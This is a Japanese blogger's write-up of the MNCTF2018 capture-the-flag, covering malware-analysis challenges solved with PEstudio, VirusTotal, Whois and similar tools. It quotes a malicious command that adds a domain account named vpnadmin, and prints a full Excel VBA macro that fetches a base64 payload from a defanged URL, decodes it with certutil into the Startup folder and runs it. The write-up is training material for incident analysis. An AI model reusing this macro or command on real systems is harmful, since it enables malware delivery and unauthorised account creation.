MNCF2018 Writeup
はじめに
Macnica Networks Day 2018 で開催されたMNCTF2018に参加しました。現地勢で参加したのは初めて。せっかくだから記録としてWriteupを残しておきます(間違いとか不十分なところがあれば優しく指摘してほしい)。
("✓"がついているのは解けた問題です)
✔新人奮闘I☆☆☆ スコア:20 Pts
マルウェアのSHA256ハッシュを答える。問題ファイル(AD_OptimizationTool.exe)を落としてPEsdudioに突っ込むとハッシュを表示してくれる。
FLAG : F24F5629BE2E0F821ADB36FE4D47407937F5A318BF96AE3655B628F833040F29
✔新人奮闘II★☆☆ スコア:60 Pts
Webフォームの形で用意されている表層解析レポートを穴埋めで作成する。 フォームに下記の情報を埋めていくとFLAGが表示される。
FLAG : d56d9a6036bd18ee98878eb74ae8d663
解説ではCyberChefというツールを使用していた。Webブラウザ上でファイルの様々な情報を表示することができる便利ツールということなので、今後使ってみたい。
✔新人奮闘III★☆☆ スコア:40 Pts
AD_OptimizationTool.exe実行時に実行されるコマンドを答える。PEstudioやらStringsやらで文字列を見るとコマンドが表示されている。 VirusTotalにアップロードされている問題ファイルを参照してもたどり着くことができる。
FLAG : cmd /c net user /add /domain vpnadmin P@ssw0rD1!
✔新人奮闘IV★☆☆ スコア:40 Pts
VPNのログの中から、不正アクセスの疑いがある時刻を答える。ログは長いので省略。1つ前の問題のFLAGから「ユーザ名:vpnadmin, パスワード:P@ssw0rD1!」でアクセスを試みそうなことがわかるのでvpnadminのアクセスを検索したところ、1件だけヒットした。
2018/07/13 15:01,vpnadmin,27.117.128.1
FLAG : 2018/07/13 15:01
✔新人奮闘V★☆☆ スコア:40 Pts
不正ログインしてきたIPアドレスを元に攻撃元の国を特定し、日本語で国名を回答する。先程の問題から攻撃元のIPアドレスは"27[.]117[.]128[.]1"だとわかるのでWhoisを引く。
inetnum: 27.117.128.0 - 27.117.191.255 netname: TBROAD descr: Tbroad Suwon Broadcasting Corporation admin-c: IM576-AP tech-c: IM576-AP country: KR status: ALLOCATED PORTABLE mnt-by: MNT-KRNIC-AP mnt-irt: IRT-KRNIC-KR last-modified: 2017-02-02T02:23:07Z source: APNIC
ということで韓国のドメインらしい。
FLAG : 韓国
大量不正★★☆ スコア:80 Pts
解けなかった問題。ssdeepで解くのだろうなと予想はできたがツールの使い方がわからず……
解説によるとssdeep -dcdr %
というコマンドで類似ファイルを表示することができたらしい。
✔種類特定★★☆ スコア:80 Pts
pcapファイルが与えられ、通信の内容からマルウェアの名前を特定して英字で回答する問題。 なんとなくWiresharkで確認したくなるが、pcapファイルをVirusTotalにアップロードするとUrsnifの通信だということがわかる。しかしUrsnifと入力してもFLAGが通らなかったため、関連しそうな名称(DreambotとかGoziとか)を試していたら正解した。
FLAG : Gozi
凌さんの解説ではSnortを用いて解いていた。Windows版は設定が面倒なためWSLを使うのがオススメとのこと。
✔標的攻撃I★★☆ スコア:60 Pts
特定のユーザ名の環境でないと動作しない処理が組み込まれた問題ファイルとしてエクセルファイルが与えられ、ユーザ名を回答する。
貧乏人なのでLibreOfficeでファイルを開くとマクロが含まれていることがわかったので、マクロの内容を調べる方針で進めた。
ファイルハッシュをVirusTotalで検索すると、マクロの中身を見ることができた。VTえらい。
Private Sub Workbook_Open() us = Application.UserName For Each C In ActiveSheet.Range("C6:C11") If us = C.Value Then Set objShell = CreateObject("WScript.Shell") startupFolder = objShell.SpecialFolders("Startup") Dim xHttp: Set xHttp = CreateObject("Microsoft.XMLHTTP") Dim bStrm: Set bStrm = CreateObject("Adodb.Stream") xHttp.Open "GET", "hxxps://gist.githubusercontent.com/Sh1n0g1/3a240ce15fe7f26263ddf1877e5acc38/raw/d1d74601e5f4c94c958130accb16add9bb16e33d/cert", False xHttp.Send With bStrm .Type = 1 '//binary .Open .write xHttp.responseBody .savetofile startupFolder & "\cert.pem", 2 '//overwrite End With Sleep (10000) Shell "certutil -decode """ & startupFolder & "\cert.pem"" """ & startupFolder & "\cert.exe""" Sleep (5000) Shell startupFolder & "\cert.exe" End If Next End Sub
※元URLをマスクしています。
マクロの中身を見るとC列に記載されている値とユーザ名を照らし合わせているように見える。しかしエクセルはC列が非表示となっているため、これを表示させると複数のユーザ名が記載されていた。複数あるがどれを入れても正解になるはず。
FLAG : Sho Shinogi
解説ではoletoolsを用いてマクロを取り出していた。
✔標的攻撃II★★☆ スコア:40 Pts
先程のマクロにより発生するHTTPS通信の通信先URLを回答する。マクロ内に平文で記述されているURLで答える。
FLAG : hxxps://gist.githubusercontent.com/Sh1n0g1/3a240ce15fe7f26263ddf1877e5acc38/raw/d1d74601e5f4c94c958130accb16add9bb16e33d/cert
※元URLをマスクしています。
✔標的型攻撃III★★☆ スコア:80 Pts
上記マクロの実行後に生成される二次検体のSHA256ハッシュを回答する問題。1つ前のFALGのURLにアクセスするとBase64の文字列があったので、デコードして保存するとPEファイルとなった。このファイルのSHA256がFLAG。
FLAG : C4F069D079330CD46E51F9469C27015ED34C6371481DF83A323BC098F3B53382
✔標的攻撃IV★★☆ スコア:80 Pts
1つ前の問題のPEファイルを実行すると発生するHTTPS通信の宛先URLを回答する問題。時間が無かったのでVirusTotalでファイルを検索したところ既に誰かがアップロードしていた。
Behaviorに通信先などの情報も表示されている。
FLAG : hxxps://shinobotps1.com/download_get.php
※元URLをマスクしています。
穴埋防御★★★ スコア:100 Pts
解けなかった問題。
盗難情報★★☆ スコア:100 Pts
解けなかった問題。
yaraルールの穴埋め問題。問題ファイル(Base64エンコードされた文字列)と不完全なyaraルールが与えられるので、yaraルールを完成させましょうというもの。
まとめ
オンサイトCTFは緊張感があって楽しいです。昨年の問題と比べて今年は1つのインシデント調査を複数の問題にわたって行う形式が多かったように感じました。調査の流れを追うことができるので、トレーニング向きだなぁと思います。
問題を解く際はだいたいのことはVirusTotalがなんとかしてくれました。一方で無闇やたらにファイルをアップロードすることが現実には難しいことも事実なので、自分の手で目的の情報にたどり着くスキルも必要ですね。
例によって今年も問題は公開されているので、解けなかった問題も取り組んでいこうと思います。